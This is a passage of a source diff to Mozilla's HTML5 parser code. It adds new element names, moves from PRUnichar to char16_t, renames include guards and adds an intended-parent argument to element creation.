+ ELEMENT_NAMES[274] = ELT_MFENCED;
+ ELEMENT_NAMES[275] = ELT_MPADDED;
+ ELEMENT_NAMES[276] = ELT_MARQUEE;
+ ELEMENT_NAMES[277] = ELT_MACTION;
+ ELEMENT_NAMES[278] = ELT_MSUBSUP;
+ ELEMENT_NAMES[279] = ELT_NOEMBED;
+ ELEMENT_NAMES[280] = ELT_POLYGON;
+ ELEMENT_NAMES[281] = ELT_PATTERN;
+ ELEMENT_NAMES[282] = ELT_PICTURE;
+ ELEMENT_NAMES[283] = ELT_PRODUCT;
+ ELEMENT_NAMES[284] = ELT_SETDIFF;
+ ELEMENT_NAMES[285] = ELT_SECTION;
+ ELEMENT_NAMES[286] = ELT_SUMMARY;
+ ELEMENT_NAMES[287] = ELT_TENDSTO;
+ ELEMENT_NAMES[288] = ELT_UPLIMIT;
+ ELEMENT_NAMES[289] = ELT_ALTGLYPH;
+ ELEMENT_NAMES[290] = ELT_BASEFONT;
+ ELEMENT_NAMES[291] = ELT_CLIPPATH;
+ ELEMENT_NAMES[292] = ELT_CODOMAIN;
+ ELEMENT_NAMES[293] = ELT_COLGROUP;
+ ELEMENT_NAMES[294] = ELT_EMPTYSET;
+ ELEMENT_NAMES[295] = ELT_FACTOROF;
+ ELEMENT_NAMES[296] = ELT_FIELDSET;
+ ELEMENT_NAMES[297] = ELT_FRAMESET;
+ ELEMENT_NAMES[298] = ELT_FEOFFSET;
+ ELEMENT_NAMES[299] = ELT_GLYPHREF;
+ ELEMENT_NAMES[300] = ELT_INTERVAL;
+ ELEMENT_NAMES[301] = ELT_INTEGERS;
+ ELEMENT_NAMES[302] = ELT_INFINITY;
+ ELEMENT_NAMES[303] = ELT_LISTENER;
+ ELEMENT_NAMES[304] = ELT_LOWLIMIT;
+ ELEMENT_NAMES[305] = ELT_METADATA;
+ ELEMENT_NAMES[306] = ELT_MENCLOSE;
+ ELEMENT_NAMES[307] = ELT_MENUITEM;
+ ELEMENT_NAMES[308] = ELT_MPHANTOM;
+ ELEMENT_NAMES[309] = ELT_NOFRAMES;
+ ELEMENT_NAMES[310] = ELT_NOSCRIPT;
+ ELEMENT_NAMES[311] = ELT_OPTGROUP;
+ ELEMENT_NAMES[312] = ELT_POLYLINE;
+ ELEMENT_NAMES[313] = ELT_PREFETCH;
+ ELEMENT_NAMES[314] = ELT_PROGRESS;
+ ELEMENT_NAMES[315] = ELT_PRSUBSET;
+ ELEMENT_NAMES[316] = ELT_QUOTIENT;
+ ELEMENT_NAMES[317] = ELT_SELECTOR;
+ ELEMENT_NAMES[318] = ELT_TEXTAREA;
+ ELEMENT_NAMES[319] = ELT_TEMPLATE;
+ ELEMENT_NAMES[320] = ELT_TEXTPATH;
+ ELEMENT_NAMES[321] = ELT_VARIANCE;
+ ELEMENT_NAMES[322] = ELT_ANIMATION;
+ ELEMENT_NAMES[323] = ELT_CONJUGATE;
+ ELEMENT_NAMES[324] = ELT_CONDITION;
+ ELEMENT_NAMES[325] = ELT_COMPLEXES;
+ ELEMENT_NAMES[326] = ELT_FONT_FACE;
+ ELEMENT_NAMES[327] = ELT_FACTORIAL;
+ ELEMENT_NAMES[328] = ELT_INTERSECT;
+ ELEMENT_NAMES[329] = ELT_IMAGINARY;
+ ELEMENT_NAMES[330] = ELT_LAPLACIAN;
+ ELEMENT_NAMES[331] = ELT_MATRIXROW;
+ ELEMENT_NAMES[332] = ELT_NOTSUBSET;
+ ELEMENT_NAMES[333] = ELT_OTHERWISE;
+ ELEMENT_NAMES[334] = ELT_PIECEWISE;
+ ELEMENT_NAMES[335] = ELT_PLAINTEXT;
+ ELEMENT_NAMES[336] = ELT_RATIONALS;
+ ELEMENT_NAMES[337] = ELT_SEMANTICS;
+ ELEMENT_NAMES[338] = ELT_TRANSPOSE;
+ ELEMENT_NAMES[339] = ELT_ANNOTATION;
+ ELEMENT_NAMES[340] = ELT_BLOCKQUOTE;
+ ELEMENT_NAMES[341] = ELT_DIVERGENCE;
+ ELEMENT_NAMES[342] = ELT_EULERGAMMA;
+ ELEMENT_NAMES[343] = ELT_EQUIVALENT;
+ ELEMENT_NAMES[344] = ELT_FIGCAPTION;
+ ELEMENT_NAMES[345] = ELT_IMAGINARYI;
+ ELEMENT_NAMES[346] = ELT_MALIGNMARK;
+ ELEMENT_NAMES[347] = ELT_MUNDEROVER;
+ ELEMENT_NAMES[348] = ELT_MLABELEDTR;
+ ELEMENT_NAMES[349] = ELT_NOTANUMBER;
+ ELEMENT_NAMES[350] = ELT_SOLIDCOLOR;
+ ELEMENT_NAMES[351] = ELT_ALTGLYPHDEF;
+ ELEMENT_NAMES[352] = ELT_DETERMINANT;
+ ELEMENT_NAMES[353] = ELT_FEMERGENODE;
+ ELEMENT_NAMES[354] = ELT_FECOMPOSITE;
+ ELEMENT_NAMES[355] = ELT_FESPOTLIGHT;
+ ELEMENT_NAMES[356] = ELT_MALIGNGROUP;
+ ELEMENT_NAMES[357] = ELT_MPRESCRIPTS;
+ ELEMENT_NAMES[358] = ELT_MOMENTABOUT;
+ ELEMENT_NAMES[359] = ELT_NOTPRSUBSET;
+ ELEMENT_NAMES[360] = ELT_PARTIALDIFF;
+ ELEMENT_NAMES[361] = ELT_ALTGLYPHITEM;
+ ELEMENT_NAMES[362] = ELT_ANIMATECOLOR;
+ ELEMENT_NAMES[363] = ELT_DATATEMPLATE;
+ ELEMENT_NAMES[364] = ELT_EXPONENTIALE;
+ ELEMENT_NAMES[365] = ELT_FETURBULENCE;
+ ELEMENT_NAMES[366] = ELT_FEPOINTLIGHT;
+ ELEMENT_NAMES[367] = ELT_FEDROPSHADOW;
+ ELEMENT_NAMES[368] = ELT_FEMORPHOLOGY;
+ ELEMENT_NAMES[369] = ELT_OUTERPRODUCT;
+ ELEMENT_NAMES[370] = ELT_ANIMATEMOTION;
+ ELEMENT_NAMES[371] = ELT_COLOR_PROFILE;
+ ELEMENT_NAMES[372] = ELT_FONT_FACE_SRC;
+ ELEMENT_NAMES[373] = ELT_FONT_FACE_URI;
+ ELEMENT_NAMES[374] = ELT_FOREIGNOBJECT;
+ ELEMENT_NAMES[375] = ELT_FECOLORMATRIX;
+ ELEMENT_NAMES[376] = ELT_MISSING_GLYPH;
+ ELEMENT_NAMES[377] = ELT_MMULTISCRIPTS;
+ ELEMENT_NAMES[378] = ELT_SCALARPRODUCT;
+ ELEMENT_NAMES[379] = ELT_VECTORPRODUCT;
+ ELEMENT_NAMES[380] = ELT_ANNOTATION_XML;
+ ELEMENT_NAMES[381] = ELT_DEFINITION_SRC;
+ ELEMENT_NAMES[382] = ELT_FONT_FACE_NAME;
+ ELEMENT_NAMES[383] = ELT_FEGAUSSIANBLUR;
+ ELEMENT_NAMES[384] = ELT_FEDISTANTLIGHT;
+ ELEMENT_NAMES[385] = ELT_LINEARGRADIENT;
+ ELEMENT_NAMES[386] = ELT_NATURALNUMBERS;
+ ELEMENT_NAMES[387] = ELT_RADIALGRADIENT;
+ ELEMENT_NAMES[388] = ELT_ANIMATETRANSFORM;
+ ELEMENT_NAMES[389] = ELT_CARTESIANPRODUCT;
+ ELEMENT_NAMES[390] = ELT_FONT_FACE_FORMAT;
+ ELEMENT_NAMES[391] = ELT_FECONVOLVEMATRIX;
+ ELEMENT_NAMES[392] = ELT_FEDIFFUSELIGHTING;
+ ELEMENT_NAMES[393] = ELT_FEDISPLACEMENTMAP;
+ ELEMENT_NAMES[394] = ELT_FESPECULARLIGHTING;
+ ELEMENT_NAMES[395] = ELT_DOMAINOFAPPLICATION;
+ ELEMENT_NAMES[396] = ELT_FECOMPONENTTRANSFER;
}
void
@@ -1366,6 +1376,7 @@ nsHtml5ElementName::releaseStatics()
delete ELT_OL;
delete ELT_OR;
delete ELT_PI;
+ delete ELT_RB;
delete ELT_RP;
delete ELT_RT;
delete ELT_TD;
@@ -1405,6 +1416,7 @@ nsHtml5ElementName::releaseStatics()
delete ELT_NOT;
delete ELT_NAV;
delete ELT_PRE;
+ delete ELT_RTC;
delete ELT_REM;
delete ELT_SUB;
delete ELT_SEC;
@@ -1580,7 +1592,6 @@ nsHtml5ElementName::releaseStatics()
delete ELT_ACRONYM;
delete ELT_ADDRESS;
delete ELT_BGSOUND;
- delete ELT_COMMAND;
delete ELT_COMPOSE;
delete ELT_CEILING;
delete ELT_CSYMBOL;
@@ -1611,6 +1622,7 @@ nsHtml5ElementName::releaseStatics()
delete ELT_NOEMBED;
delete ELT_POLYGON;
delete ELT_PATTERN;
+ delete ELT_PICTURE;
delete ELT_PRODUCT;
delete ELT_SETDIFF;
delete ELT_SECTION;
@@ -1695,6 +1707,7 @@ nsHtml5ElementName::releaseStatics()
delete ELT_EXPONENTIALE;
delete ELT_FETURBULENCE;
delete ELT_FEPOINTLIGHT;
+ delete ELT_FEDROPSHADOW;
delete ELT_FEMORPHOLOGY;
delete ELT_OUTERPRODUCT;
delete ELT_ANIMATEMOTION;
diff --git a/parser/html/nsHtml5ElementName.h b/parser/html/nsHtml5ElementName.h
index 4362d5f4c..b4df323a6 100644
--- a/parser/html/nsHtml5ElementName.h
+++ b/parser/html/nsHtml5ElementName.h
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2008-2011 Mozilla Foundation
+ * Copyright (c) 2008-2014 Mozilla Foundation
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
@@ -25,13 +25,13 @@
* Please edit ElementName.java instead and regenerate.
*/
-#ifndef nsHtml5ElementName_h__
-#define nsHtml5ElementName_h__
+#ifndef nsHtml5ElementName_h
+#define nsHtml5ElementName_h
#include "nsIAtom.h"
#include "nsHtml5AtomTable.h"
#include "nsString.h"
-#include "nsINameSpaceManager.h"
+#include "nsNameSpaceManager.h"
#include "nsIContent.h"
#include "nsTraceRefcnt.h"
#include "jArray.h"
@@ -41,6 +41,7 @@
#include "nsHtml5ByteReadable.h"
#include "nsIUnicodeDecoder.h"
#include "nsHtml5Macros.h"
+#include "nsIContentHandle.h"
class nsHtml5StreamParser;
@@ -68,12 +69,12 @@ class nsHtml5ElementName
int32_t getGroup();
bool isCustom();
- static nsHtml5ElementName* elementNameByBuffer(PRUnichar* buf, int32_t offset, int32_t length, nsHtml5AtomTable* interner);
+ static nsHtml5ElementName* elementNameByBuffer(char16_t* buf, int32_t offset, int32_t length, nsHtml5AtomTable* interner);
private:
- static int32_t bufToHash(PRUnichar* buf, int32_t len);
+ static int32_t bufToHash(char16_t* buf, int32_t len);
nsHtml5ElementName(nsIAtom* name, nsIAtom* camelCaseName, int32_t flags);
protected:
- nsHtml5ElementName(nsIAtom* name);
+ explicit nsHtml5ElementName(nsIAtom* name);
public:
virtual void release();
virtual ~nsHtml5ElementName();
@@ -114,6 +115,7 @@ class nsHtml5ElementName
static nsHtml5ElementName* ELT_OL;
static nsHtml5ElementName* ELT_OR;
static nsHtml5ElementName* ELT_PI;
+ static nsHtml5ElementName* ELT_RB;
static nsHtml5ElementName* ELT_RP;
static nsHtml5ElementName* ELT_RT;
static nsHtml5ElementName* ELT_TD;
@@ -153,6 +155,7 @@ class nsHtml5ElementName
static nsHtml5ElementName* ELT_NOT;
static nsHtml5ElementName* ELT_NAV;
static nsHtml5ElementName* ELT_PRE;
+ static nsHtml5ElementName* ELT_RTC;
static nsHtml5ElementName* ELT_REM;
static nsHtml5ElementName* ELT_SUB;
static nsHtml5ElementName* ELT_SEC;
@@ -328,7 +331,6 @@ class nsHtml5ElementName
static nsHtml5ElementName* ELT_ACRONYM;
static nsHtml5ElementName* ELT_ADDRESS;
static nsHtml5ElementName* ELT_BGSOUND;
- static nsHtml5ElementName* ELT_COMMAND;
static nsHtml5ElementName* ELT_COMPOSE;
static nsHtml5ElementName* ELT_CEILING;
static nsHtml5ElementName* ELT_CSYMBOL;
@@ -359,6 +361,7 @@ class nsHtml5ElementName
static nsHtml5ElementName* ELT_NOEMBED;
static nsHtml5ElementName* ELT_POLYGON;
static nsHtml5ElementName* ELT_PATTERN;
+ static nsHtml5ElementName* ELT_PICTURE;
static nsHtml5ElementName* ELT_PRODUCT;
static nsHtml5ElementName* ELT_SETDIFF;
static nsHtml5ElementName* ELT_SECTION;
@@ -443,6 +446,7 @@ class nsHtml5ElementName
static nsHtml5ElementName* ELT_EXPONENTIALE;
static nsHtml5ElementName* ELT_FETURBULENCE;
static nsHtml5ElementName* ELT_FEPOINTLIGHT;
+ static nsHtml5ElementName* ELT_FEDROPSHADOW;
static nsHtml5ElementName* ELT_FEMORPHOLOGY;
static nsHtml5ElementName* ELT_OUTERPRODUCT;
static nsHtml5ElementName* ELT_ANIMATEMOTION;
diff --git a/parser/html/nsHtml5Highlighter.cpp b/parser/html/nsHtml5Highlighter.cpp
index 1f39abe39..9ddfadd17 100644
--- a/parser/html/nsHtml5Highlighter.cpp
+++ b/parser/html/nsHtml5Highlighter.cpp
@@ -17,32 +17,32 @@ using namespace mozilla;
// the size of 16 tokens on cnn.com.
#define NS_HTML5_HIGHLIGHTER_PRE_BREAK_THRESHOLD 1300
-PRUnichar nsHtml5Highlighter::sComment[] =
+char16_t nsHtml5Highlighter::sComment[] =
{ 'c', 'o', 'm', 'm', 'e', 'n', 't', 0 };
-PRUnichar nsHtml5Highlighter::sCdata[] =
+char16_t nsHtml5Highlighter::sCdata[] =
{ 'c', 'd', 'a', 't', 'a', 0 };
-PRUnichar nsHtml5Highlighter::sEntity[] =
+char16_t nsHtml5Highlighter::sEntity[] =
{ 'e', 'n', 't', 'i', 't', 'y', 0 };
-PRUnichar nsHtml5Highlighter::sEndTag[] =
+char16_t nsHtml5Highlighter::sEndTag[] =
{ 'e', 'n', 'd', '-', 't', 'a', 'g', 0 };
-PRUnichar nsHtml5Highlighter::sStartTag[] =
+char16_t nsHtml5Highlighter::sStartTag[] =
{ 's', 't', 'a', 'r', 't', '-', 't', 'a', 'g', 0 };
-PRUnichar nsHtml5Highlighter::sAttributeName[] =
+char16_t nsHtml5Highlighter::sAttributeName[] =
{ 'a', 't', 't', 'r', 'i', 'b', 'u', 't', 'e', '-', 'n', 'a', 'm', 'e', 0 };
-PRUnichar nsHtml5Highlighter::sAttributeValue[] =
+char16_t nsHtml5Highlighter::sAttributeValue[] =
{ 'a', 't', 't', 'r', 'i', 'b', 'u', 't', 'e', '-',
'v', 'a', 'l', 'u', 'e', 0 };
-PRUnichar nsHtml5Highlighter::sDoctype[] =
+char16_t nsHtml5Highlighter::sDoctype[] =
{ 'd', 'o', 'c', 't', 'y', 'p', 'e', 0 };
-PRUnichar nsHtml5Highlighter::sPi[] =
+char16_t nsHtml5Highlighter::sPi[] =
{ 'p', 'i', 0 };
nsHtml5Highlighter::nsHtml5Highlighter(nsAHtml5TreeOpSink* aOpSink)
@@ -79,7 +79,7 @@ nsHtml5Highlighter::Start(const nsAutoString& aTitle)
mOpQueue.AppendElement()->Init(STANDARDS_MODE);
- nsIContent** root = CreateElement(nsHtml5Atoms::html, nullptr);
+ nsIContent** root = CreateElement(nsHtml5Atoms::html, nullptr, nullptr);
mOpQueue.AppendElement()->Init(eTreeOpAppendToDocument, root);
mStack.AppendElement(root);
@@ -497,7 +497,7 @@ nsHtml5Highlighter::StartSpan()
}
void
-nsHtml5Highlighter::StartSpan(const PRUnichar* aClass)
+nsHtml5Highlighter::StartSpan(const char16_t* aClass)
{
StartSpan();
AddClass(aClass);
@@ -558,10 +558,10 @@ void
nsHtml5Highlighter::FlushChars()
{
if (mCStart < mPos) {
- PRUnichar* buf = mBuffer->getBuffer();
+ char16_t* buf = mBuffer->getBuffer();
int32_t i = mCStart;
while (i < mPos) {
- PRUnichar c = buf[i];
+ char16_t c = buf[i];
switch (c) {
case '\r':
// The input this code sees has been normalized so that there are
@@ -655,7 +655,8 @@ nsHtml5Highlighter::AllocateContentHandle()
nsIContent**
nsHtml5Highlighter::CreateElement(nsIAtom* aName,
- nsHtml5HtmlAttributes* aAttributes)
+ nsHtml5HtmlAttributes* aAttributes,
+ nsIContent** aIntendedParent)
{
NS_PRECONDITION(aName, "Got null name.");
nsIContent** content = AllocateContentHandle();
@@ -663,6 +664,7 @@ nsHtml5Highlighter::CreateElement(nsIAtom* aName,
aName,
aAttributes,
content,
+ aIntendedParent,
true);
return content;
}
@@ -679,7 +681,7 @@ nsHtml5Highlighter::Push(nsIAtom* aName,
nsHtml5HtmlAttributes* aAttributes)
{
NS_PRECONDITION(mStack.Length() >= 1, "Pushing without root.");
- nsIContent** elt = CreateElement(aName, aAttributes); // Don't inline below!
+ nsIContent** elt = CreateElement(aName, aAttributes, CurrentNode()); // Don't inline below!
mOpQueue.AppendElement()->Init(eTreeOpAppend, elt, CurrentNode());
mStack.AppendElement(elt);
}
@@ -692,14 +694,14 @@ nsHtml5Highlighter::Pop()
}
void
-nsHtml5Highlighter::AppendCharacters(const PRUnichar* aBuffer,
+nsHtml5Highlighter::AppendCharacters(const char16_t* aBuffer,
int32_t aStart,
int32_t aLength)
{
NS_PRECONDITION(aBuffer, "Null buffer");
- PRUnichar* bufferCopy = new PRUnichar[aLength];
- memcpy(bufferCopy, aBuffer + aStart, aLength * sizeof(PRUnichar));
+ char16_t* bufferCopy = new char16_t[aLength];
+ memcpy(bufferCopy, aBuffer + aStart, aLength * sizeof(char16_t));
mOpQueue.AppendElement()->Init(eTreeOpAppendText,
bufferCopy,
@@ -709,7 +711,7 @@ nsHtml5Highlighter::AppendCharacters(const PRUnichar* aBuffer,
void
-nsHtml5Highlighter::AddClass(const PRUnichar* aClass)
+nsHtml5Highlighter::AddClass(const char16_t* aClass)
{
if (!mSyntaxHighlight) {
return;
@@ -720,8 +722,8 @@ nsHtml5Highlighter::AddClass(const PRUnichar* aClass)
void
nsHtml5Highlighter::AddViewSourceHref(const nsString& aValue)
{
- PRUnichar* bufferCopy = new PRUnichar[aValue.Length() + 1];
- memcpy(bufferCopy, aValue.get(), aValue.Length() * sizeof(PRUnichar));
+ char16_t* bufferCopy = new char16_t[aValue.Length() + 1];
+ memcpy(bufferCopy, aValue.get(), aValue.Length() * sizeof(char16_t));
bufferCopy[aValue.Length()] = 0;
mOpQueue.AppendElement()->Init(eTreeOpAddViewSourceHref,
@@ -737,8 +739,8 @@ nsHtml5Highlighter::AddBase(const nsString& aValue)
return;
}
mSeenBase = true;
- PRUnichar* bufferCopy = new PRUnichar[aValue.Length() + 1];
- memcpy(bufferCopy, aValue.get(), aValue.Length() * sizeof(PRUnichar));
+ char16_t* bufferCopy = new char16_t[aValue.Length() + 1];
+ memcpy(bufferCopy, aValue.get(), aValue.Length() * sizeof(char16_t));
bufferCopy[aValue.Length()] = 0;
mOpQueue.AppendElement()->Init(eTreeOpAddViewSourceBase,
diff --git a/parser/html/nsHtml5Highlighter.h b/parser/html/nsHtml5Highlighter.h
index c27b6b606..c536916b3 100644
--- a/parser/html/nsHtml5Highlighter.h
+++ b/parser/html/nsHtml5Highlighter.h
@@ -1,10 +1,9 @@
/* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-#ifndef nsHtml5Highlighter_h_
-#define nsHtml5Highlighter_h_
+#ifndef nsHtml5Highlighter_h
+#define nsHtml5Highlighter_h
-#include "prtypes.h"
#include "nsCOMPtr.h"
#include "nsHtml5TreeOperation.h"
#include "nsHtml5UTF16Buffer.h"
@@ -25,7 +24,7 @@ class nsHtml5Highlighter
*
* @param aOpSink the sink for the tree ops generated by this highlighter
*/
- nsHtml5Highlighter(nsAHtml5TreeOpSink* aOpSink);
+ explicit nsHtml5Highlighter(nsAHtml5TreeOpSink* aOpSink);
/**
* The destructor.
@@ -142,7 +141,7 @@ class nsHtml5Highlighter
* @param aMsgId the id of the message in the property file
*/
void AddErrorToCurrentSlash(const char* aMsgId);
-
+
/**
* Enqueues a tree op for adding base to the urls with the view-source:
*
@@ -163,7 +162,7 @@ class nsHtml5Highlighter
* @param aClass the class to set (MUST be a static string that does not
* need to be released!)
*/
- void StartSpan(const PRUnichar* aClass);
+ void StartSpan(const char16_t* aClass);
/**
* End the current <span> or <a> in the highlighter output.
@@ -209,7 +208,7 @@ class nsHtml5Highlighter
* @param aClass the class to set (MUST be a static string that does not
* need to be released!)
*/
- void AddClass(const PRUnichar* aClass);
+ void AddClass(const char16_t* aClass);
/**
* Allocates a handle for an element.
@@ -227,10 +226,12 @@ class nsHtml5Highlighter
* @param aName the name of the element
* @param aAttributes the attribute holder (ownership will be taken) or
* nullptr for no attributes
+ * @param aIntendedParent the intended parent node for the created element
* @return the handle for the element that will be created
*/
nsIContent** CreateElement(nsIAtom* aName,
- nsHtml5HtmlAttributes* aAttributes);
+ nsHtml5HtmlAttributes* aAttributes,
+ nsIContent** aIntendedParent);
/**
* Gets the handle for the current node. May be called only after the
@@ -261,7 +262,7 @@ class nsHtml5Highlighter
* @param aStart the index of the first code unit to copy
* @param aLength the number of code units to copy
*/
- void AppendCharacters(const PRUnichar* aBuffer,
+ void AppendCharacters(const char16_t* aBuffer,
int32_t aStart,
int32_t aLength);
@@ -272,7 +273,7 @@ class nsHtml5Highlighter
* @param aValue the (potentially relative) URL to link to
*/
void AddViewSourceHref(const nsString& aValue);
-
+
/**
* The state we are transitioning away from.
*/
@@ -366,52 +367,52 @@ class nsHtml5Highlighter
/**
* The string "comment"
*/
- static PRUnichar sComment[];
+ static char16_t sComment[];
/**
* The string "cdata"
*/
- static PRUnichar sCdata[];
+ static char16_t sCdata[];
/**
* The string "start-tag"
*/
- static PRUnichar sStartTag[];
+ static char16_t sStartTag[];
/**
* The string "attribute-name"
*/
- static PRUnichar sAttributeName[];
+ static char16_t sAttributeName[];
/**
* The string "attribute-value"
*/
- static PRUnichar sAttributeValue[];
+ static char16_t sAttributeValue[];
/**
* The string "end-tag"
*/
- static PRUnichar sEndTag[];
+ static char16_t sEndTag[];
/**
* The string "doctype"
*/
- static PRUnichar sDoctype[];
+ static char16_t sDoctype[];
/**
* The string "entity"
*/
- static PRUnichar sEntity[];
+ static char16_t sEntity[];
/**
* The string "pi"
*/
- static PRUnichar sPi[];
-
+ static char16_t sPi[];
+
/**
* Whether base is already visited once.
*/
- bool mSeenBase;
+ bool mSeenBase;
};
-#endif // nsHtml5Highlighter_h_
+#endif // nsHtml5Highlighter_h
diff --git a/parser/html/nsHtml5HtmlAttributes.cpp b/parser/html/nsHtml5HtmlAttributes.cpp
index d3028402c..62b112fb9 100644
--- a/parser/html/nsHtml5HtmlAttributes.cpp
+++ b/parser/html/nsHtml5HtmlAttributes.cpp
@@ -31,7 +31,7 @@
#include "nsIAtom.h"
#include "nsHtml5AtomTable.h"
#include "nsString.h"
-#include "nsINameSpaceManager.h"
+#include "nsNameSpaceManager.h"
#include "nsIContent.h"
#include "nsTraceRefcnt.h"
#include "jArray.h"
@@ -41,6 +41,7 @@
#include "nsHtml5ByteReadable.h"
#include "nsIUnicodeDecoder.h"
#include "nsHtml5Macros.h"
+#include "nsIContentHandle.h"
#include "nsHtml5Tokenizer.h"
#include "nsHtml5TreeBuilder.h"
diff --git a/parser/html/nsHtml5HtmlAttributes.h b/parser/html/nsHtml5HtmlAttributes.h
index bf42063ea..5ec0f1fca 100644
--- a/parser/html/nsHtml5HtmlAttributes.h
+++ b/parser/html/nsHtml5HtmlAttributes.h
@@ -26,13 +26,13 @@
* Please edit HtmlAttributes.java instead and regenerate.
*/
-#ifndef nsHtml5HtmlAttributes_h__
-#define nsHtml5HtmlAttributes_h__
+#ifndef nsHtml5HtmlAttributes_h
+#define nsHtml5HtmlAttributes_h
#include "nsIAtom.h"
#include "nsHtml5AtomTable.h"
#include "nsString.h"
-#include "nsINameSpaceManager.h"
+#include "nsNameSpaceManager.h"
#include "nsIContent.h"
#include "nsTraceRefcnt.h"
#include "jArray.h"
@@ -42,6 +42,7 @@
#include "nsHtml5ByteReadable.h"
#include "nsIUnicodeDecoder.h"
#include "nsHtml5Macros.h"
+#include "nsIContentHandle.h"
class nsHtml5StreamParser;
@@ -65,7 +66,7 @@ class nsHtml5HtmlAttributes
autoJArray<nsHtml5AttributeName*,int32_t> names;
autoJArray<nsString*,int32_t> values;
public:
- nsHtml5HtmlAttributes(int32_t mode);
+ explicit nsHtml5HtmlAttributes(int32_t mode);
~nsHtml5HtmlAttributes();
int32_t getIndex(nsHtml5AttributeName* name);
nsString* getValue(nsHtml5AttributeName* name);
diff --git a/parser/html/nsHtml5Macros.h b/parser/html/nsHtml5Macros.h
index 9849481dc..5abc848b9 100644
--- a/parser/html/nsHtml5Macros.h
+++ b/parser/html/nsHtml5Macros.h
@@ -20,8 +20,8 @@
* DEALINGS IN THE SOFTWARE.
*/
-#ifndef nsHtml5Macros_h_
-#define nsHtml5Macros_h_
+#ifndef nsHtml5Macros_h
+#define nsHtml5Macros_h
#define NS_HTML5_CONTINUE(target) \
goto target
@@ -29,4 +29,4 @@
#define NS_HTML5_BREAK(target) \
goto target ## _end
-#endif /* nsHtml5Macros_h_ */
+#endif /* nsHtml5Macros_h */
diff --git a/parser/html/nsHtml5MetaScanner.cpp b/parser/html/nsHtml5MetaScanner.cpp
index 312b2c1bd..050f07f15 100644
--- a/parser/html/nsHtml5MetaScanner.cpp
+++ b/parser/html/nsHtml5MetaScanner.cpp
@@ -31,7 +31,7 @@
#include "nsIAtom.h"
#include "nsHtml5AtomTable.h"
#include "nsString.h"
-#include "nsINameSpaceManager.h"
+#include "nsNameSpaceManager.h"
#include "nsIContent.h"
#include "nsTraceRefcnt.h"
#include "jArray.h"
@@ -41,6 +41,7 @@
#include "nsHtml5ByteReadable.h"
#include "nsIUnicodeDecoder.h"
#include "nsHtml5Macros.h"
+#include "nsIContentHandle.h"
#include "nsHtml5Tokenizer.h"
#include "nsHtml5TreeBuilder.h"
@@ -54,14 +55,14 @@
#include "nsHtml5MetaScanner.h"
-static PRUnichar const CHARSET_DATA[] = { 'h', 'a', 'r', 's', 'e', 't' };
-staticJArray<PRUnichar,int32_t> nsHtml5MetaScanner::CHARSET = { CHARSET_DATA, MOZ_ARRAY_LENGTH(CHARSET_DATA) };
-static PRUnichar const CONTENT_DATA[] = { 'o', 'n', 't', 'e', 'n', 't' };
-staticJArray<PRUnichar,int32_t> nsHtml5MetaScanner::CONTENT = { CONTENT_DATA, MOZ_ARRAY_LENGTH(CONTENT_DATA) };
-static PRUnichar const HTTP_EQUIV_DATA[] = { 't', 't', 'p', '-', 'e', 'q', 'u', 'i', 'v' };
-staticJArray<PRUnichar,int32_t> nsHtml5MetaScanner::HTTP_EQUIV = { HTTP_EQUIV_DATA, MOZ_ARRAY_LENGTH(HTTP_EQUIV_DATA) };
-static PRUnichar const CONTENT_TYPE_DATA[] = { 'c', 'o', 'n', 't', 'e', 'n', 't', '-', 't', 'y', 'p', 'e' };
-staticJArray<PRUnichar,int32_t> nsHtml5MetaScanner::CONTENT_TYPE = { CONTENT_TYPE_DATA, MOZ_ARRAY_LENGTH(CONTENT_TYPE_DATA) };
+static char16_t const CHARSET_DATA[] = { 'h', 'a', 'r', 's', 'e', 't' };
+staticJArray<char16_t,int32_t> nsHtml5MetaScanner::CHARSET = { CHARSET_DATA, MOZ_ARRAY_LENGTH(CHARSET_DATA) };
+static char16_t const CONTENT_DATA[] = { 'o', 'n', 't', 'e', 'n', 't' };
+staticJArray<char16_t,int32_t> nsHtml5MetaScanner::CONTENT = { CONTENT_DATA, MOZ_ARRAY_LENGTH(CONTENT_DATA) };
+static char16_t const HTTP_EQUIV_DATA[] = { 't', 't', 'p', '-', 'e', 'q', 'u', 'i', 'v' };
+staticJArray<char16_t,int32_t> nsHtml5MetaScanner::HTTP_EQUIV = { HTTP_EQUIV_DATA, MOZ_ARRAY_LENGTH(HTTP_EQUIV_DATA) };
+static char16_t const CONTENT_TYPE_DATA[] = { 'c', 'o', 'n', 't', 'e', 'n', 't', '-', 't', 'y', 'p', 'e' };
+staticJArray<char16_t,int32_t> nsHtml5MetaScanner::CONTENT_TYPE = { CONTENT_TYPE_DATA, MOZ_ARRAY_LENGTH(CONTENT_TYPE_DATA) };
nsHtml5MetaScanner::nsHtml5MetaScanner()
: readable(nullptr),
@@ -72,7 +73,7 @@ nsHtml5MetaScanner::nsHtml5MetaScanner()
contentTypeIndex(INT32_MAX),
stateSave(NS_HTML5META_SCANNER_DATA),
strBufLen(0),
- strBuf(jArray<PRUnichar,int32_t>::newJArray(36)),
+ strBuf(jArray<char16_t,int32_t>::newJArray(36)),
content(nullptr),
charset(nullptr),
httpEquivState(NS_HTML5META_SCANNER_HTTP_EQUIV_NOT_SEEN)
@@ -738,11 +739,11 @@ void
nsHtml5MetaScanner::addToBuffer(int32_t c)
{
if (strBufLen == strBuf.length) {
- jArray<PRUnichar,int32_t> newBuf = jArray<PRUnichar,int32_t>::newJArray(strBuf.length + (strBuf.length << 1));
+ jArray<char16_t,int32_t> newBuf = jArray<char16_t,int32_t>::newJArray(strBuf.length + (strBuf.length << 1));
nsHtml5ArrayCopy::arraycopy(strBuf, newBuf, strBuf.length);
strBuf = newBuf;
}
- strBuf[strBufLen++] = (PRUnichar) c;
+ strBuf[strBufLen++] = (char16_t) c;
}
void
diff --git a/parser/html/nsHtml5MetaScanner.h b/parser/html/nsHtml5MetaScanner.h
index 046d5490c..4c90dc8ff 100644
--- a/parser/html/nsHtml5MetaScanner.h
+++ b/parser/html/nsHtml5MetaScanner.h
@@ -26,13 +26,13 @@
* Please edit MetaScanner.java instead and regenerate.
*/
-#ifndef nsHtml5MetaScanner_h__
-#define nsHtml5MetaScanner_h__
+#ifndef nsHtml5MetaScanner_h
+#define nsHtml5MetaScanner_h
#include "nsIAtom.h"
#include "nsHtml5AtomTable.h"
#include "nsString.h"
-#include "nsINameSpaceManager.h"
+#include "nsNameSpaceManager.h"
